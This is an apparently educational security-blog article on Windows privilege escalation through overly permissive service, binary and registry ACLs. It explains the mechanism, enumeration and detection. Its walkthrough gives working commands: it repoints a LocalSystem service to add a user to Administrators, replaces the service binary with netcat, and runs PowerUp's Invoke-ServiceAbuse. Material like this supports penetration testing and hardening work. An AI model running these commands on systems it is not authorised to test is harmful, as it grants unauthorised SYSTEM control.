Weak Service Permissions and Binary Path Hijacking

Weak Service Permissions and Binary Path Hijacking - article cover image Windows Privesc
Time it takes to read this article 6 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

Every Windows service is registered in the Service Control Manager (SCM) with its own security descriptor governing who may query, start, stop, or reconfigure it, and a registry key (HKLM\SYSTEM\CurrentControlSet\Services\<name>) that stores its ImagePath and run-as account. When either that security descriptor or the filesystem/registry ACLs backing the service are too permissive, a low-privileged user can change what executable the service runs — or replace the executable outright — and have it launched the next time the service starts, with whatever privileges the service account holds. Because a large share of built-in and third-party services run as LocalSystem, this is a direct and extremely common path to full SYSTEM code execution.

Unlike search-order DLL hijacking or unquoted-path abuse, which exploit ambiguity in how Windows resolves a path, weak service permissions are a straightforward Access Control List mistake: someone granted a broad principal like Authenticated Users, Everyone, or BUILTIN\Users a right on the service object or its supporting files that should have been reserved for Administrators. It requires no exploit, only enumeration and a single sc config call.

Attack Prerequisites

Several independent misconfigurations lead to the same outcome, so enumeration has to check each one:

  • Weak SCM ACL on the service object itself — a low-privileged principal holds SERVICE_CHANGE_CONFIG, WRITE_DAC, WRITE_OWNER, or SERVICE_ALL_ACCESS, letting them repoint ImagePath directly via sc config.
  • Weak filesystem ACL on the service’s binary or its containing directory — the user can overwrite the executable in place even without any rights over the service object itself.
  • Weak registry ACL on the service’s registry key — write access to HKLM\SYSTEM\CurrentControlSet\Services\<name> allows editing ImagePath even without SCM rights.
  • A restart trigger — either SERVICE_START/SERVICE_STOP rights to restart it directly, or an auto-restart-on-failure policy, or a reboot — so the modified configuration takes effect.
  • The service runs as a privileged account (LocalSystem, NetworkService, or a privileged domain service account) — a hijackable service running as a low-privileged account is not useful for escalation.

How It Works

Every service’s access rights are expressed as a Security Descriptor Definition Language (SDDL) string attached to the SCM object, independent of the NTFS ACL on the binary file. That descriptor grants combinations of rights such as SERVICE_QUERY_CONFIG, SERVICE_START, SERVICE_STOP, and critically SERVICE_CHANGE_CONFIG — the right to alter the service’s ImagePath, its ObjectName (run-as account), and its load order. Administrators configure this via sc sdset, and it is trivial to get wrong: an overly broad SDDL applied for troubleshooting, or a third-party installer that grants SERVICE_ALL_ACCESS to Authenticated Users to avoid support calls about permission errors, silently hands out full control over a SYSTEM-run process.

Once an attacker holds SERVICE_CHANGE_CONFIG (or a superset like WRITE_DAC, which lets them grant themselves any right they want by rewriting the descriptor), sc config <name> binPath= "..." swaps the command line the SCM will CreateProcess the next time the service starts — the SCM does not validate that the new binary is signed, matches the original, or is even the same file type; it simply launches whatever string is stored as ImagePath under the configured service account. The filesystem and registry paths to the same outcome exist because the SCM’s own ACL is not the only place the binary path is guarded: if the NTFS ACL on the executable file (or its parent directory) allows Users to write/delete, the file can be replaced directly without ever touching the SCM object’s permissions, and the same is true if the raw registry value is directly writable.

This class of bug is distinct from DLL search-order hijacking (which exploits *how* a dependency is resolved) and unquoted service paths (which exploits *how* an ambiguous command line is parsed) — here the path itself is unambiguous and the DLL loading is irrelevant; the ACL protecting the configuration or the binary is simply too loose.

Vulnerable Code / Configuration

sc qc reveals the configured binary path and start account; Sysinternals accesschk.exe reveals who actually holds rights over the service object, which is the piece sc qc does not show:

C:\> sc qc BackupAgentSvc
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: BackupAgentSvc
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        BINARY_PATH_NAME   : C:\Program Files\Backup\agent.exe
        SERVICE_START_NAME : LocalSystem

C:\> accesschk.exe -uwcqv "Authenticated Users" BackupAgentSvc
RW BackupAgentSvc
        SERVICE_ALL_ACCESS
# Authenticated Users has SERVICE_ALL_ACCESS -> any domain/local user
# can reconfigure a service that runs as LocalSystem.
TEXT

The equivalent raw SDDL, retrievable with sc sdshow, shows the same grant encoded as an ACE — (A;;RPWPDTLOCRRC;;;AU) grants the Authenticated Users well-known SID (AU) start/stop/change-config rights directly on the service object:

C:\> sc sdshow BackupAgentSvc
D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;RPWPDTLOCRRC;;;AU)
# Trailing ACE: (A;;RPWPDTLOCRRC;;;AU)
#   RP = SERVICE_START, WP = SERVICE_CHANGE_CONFIG, DT = SERVICE_STOP
#   AU = Authenticated Users -- confirms the same over-broad grant.
TEXT

Walkthrough / Exploitation

Enumerate every service ACL on the box in one pass with accesschk to find writable service objects for the current user’s groups:

C:\> accesschk.exe -uwcqv "Authenticated Users" * -accepteula
C:\> accesschk.exe -uwcqv "Users" * -accepteula
# Also check filesystem and registry ACLs on candidate binaries:
C:\> icacls "C:\Program Files\Backup\agent.exe"
C:\> accesschk.exe -kvuqsw "HKLM\SYSTEM\CurrentControlSet\Services\BackupAgentSvc"
TEXT

With SERVICE_CHANGE_CONFIG confirmed, repoint the binary path to an attacker-controlled command. net user is a clean proof-of-concept for privilege escalation reports; a listener-backed payload is the realistic operational choice:

C:\> sc config BackupAgentSvc binPath= "cmd.exe /c net localgroup Administrators victim /add"
C:\> sc config BackupAgentSvc obj= LocalSystem
C:\> sc stop BackupAgentSvc
C:\> sc start BackupAgentSvc
# SCM launches the new binPath under LocalSystem; the low-priv
# account is added to Administrators.
TEXT

If the SCM ACL is untouchable but the binary’s directory is writable, overwrite the file directly instead — no sc config call needed:

C:\> copy /y C:\Users\public\nc64.exe "C:\Program Files\Backup\agent.exe"
C:\> sc stop BackupAgentSvc & sc start BackupAgentSvc
TEXT

PowerUp automates discovery of every variant of this bug class (SCM ACL, binary ACL, and registry ACL) in a single sweep:

Import-Module .\PowerUp.ps1
Get-ModifiableServiceFile   # writable service binaries/dirs
Get-ModifiableService       # SERVICE_CHANGE_CONFIG-abusable services
Invoke-ServiceAbuse -Name BackupAgentSvc -UserName victim
PowerShell

Note: If the account only has SERVICE_START/SERVICE_STOP but lacks rights to restart the service directly, check the service’s recovery/failure actions (sc qfailure <name>) — a service configured to auto-restart on crash can sometimes be killed (if the account also has process termination rights) to trigger the recovery action instead of waiting for a reboot.

Opsec: sc config on a production service is disruptive by nature — the original binary path and start account should always be recorded before modification and restored afterward wherever the engagement scope requires cleanup, since leaving a hijacked SYSTEM service in place is both an availability risk and an easy indicator for defenders.

Detection and Defense

This class is fixed by tightening ACLs at every layer that guards a privileged service, not just one of them:

  • Audit SCM ACLs fleet-wide with accesschk.exe -uwcqv or PowerUp against low-privileged groups, and remove SERVICE_CHANGE_CONFIG / SERVICE_ALL_ACCESS grants to anything broader than Administrators.
  • Lock down NTFS ACLs on service binaries and their parent directories so only Administrators/SYSTEM can write — this is frequently the actual root cause even when the SCM ACL looks fine.
  • Lock down the registry key under HKLM\SYSTEM\CurrentControlSet\Services\<name> the same way; default permissions are correct, but installers sometimes loosen them.
  • Event ID 7045 (a new service was installed) and Event ID 4657 (a monitored registry value was modified, if SACL auditing is enabled on the Services key) both flag reconfiguration attempts.
  • Sysmon Event ID 1 for a service host process (services.exe child) launching an unexpected binary is the highest-fidelity post-exploitation signal.

Real-World Impact

Weak service permissions are one of the most consistently found local privilege-escalation issues on internal penetration tests and OSCP-style assessments, largely because third-party software installers (backup agents, monitoring agents, update services) routinely grant broad service or directory permissions to simplify support, without the vendor threat-modeling what a local unprivileged user could do with them. Automated tooling — PowerUp, WinPEAS, Seatbelt — flags this pattern by default because it converts directly and reliably into SYSTEM.

Conclusion

A SYSTEM-run service is only as trustworthy as the ACLs protecting its configuration, its binary, and its registry key, and any one of those three being too permissive is sufficient for full escalation. Treat every AUTO_START service running as LocalSystem as a high-value target during hardening reviews, verify sc sdshow, icacls, and the registry ACL independently, and default every principal broader than Administrators to read-only access on privileged service objects.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL